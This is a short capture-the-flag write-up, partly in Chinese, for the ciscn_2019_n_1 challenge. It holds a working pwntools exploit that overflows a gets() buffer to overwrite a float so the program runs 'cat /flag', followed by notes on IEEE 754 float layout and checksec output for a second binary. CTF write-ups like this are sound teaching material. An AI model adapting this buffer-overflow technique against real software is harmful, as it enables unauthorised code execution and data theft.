briteny@localhost:/mnt/d/scr1w/pwn3$ checksec ciscn_2019_n_1 [*] '/mnt/d/scr1w/pwn3/ciscn_2019_n_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else returnputs("Its value should be 11.28125"); }
通过get的溢出覆盖掉v2,使得v2满足条件后cat /flag
exploit:
1 2 3 4 5 6 7 8 9
from pwn import *
#r = remote('IP',port) r = process('./ciscn_2019_n_1')
payload1 = b'a' * 44 + p64(0x41348000)
r.sendline(payload1) r.interactive()
IEEE 754规则
float位数分配:
总共有32位,其中符号位1位,指数位8位,尾数位23位
double位数分配:
总共有64位,其中符号位1位,指数位11位,尾数位52位。
特殊值的表示: 零:当指数位和尾数位都为0时,表示数值0。正零的符号位为0,负零的符号位为1。 无穷大和无穷小:当指数位为全1,尾数位为0时,表示无穷大或无穷小。符号位为0表示正无穷大,符号位为1表示负无穷大。 NaN(Not a Number):当指数位为全1,尾数位不为0时,表示NaN。NaN用于表示一些非法的数值操作结果,如0除以0等。
briteny@localhost:/mnt/d/scr1w/pwn4$ checksec pwn1_sctf_2016 [*] '/mnt/d/scr1w/pwn4/pwn1_sctf_2016' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No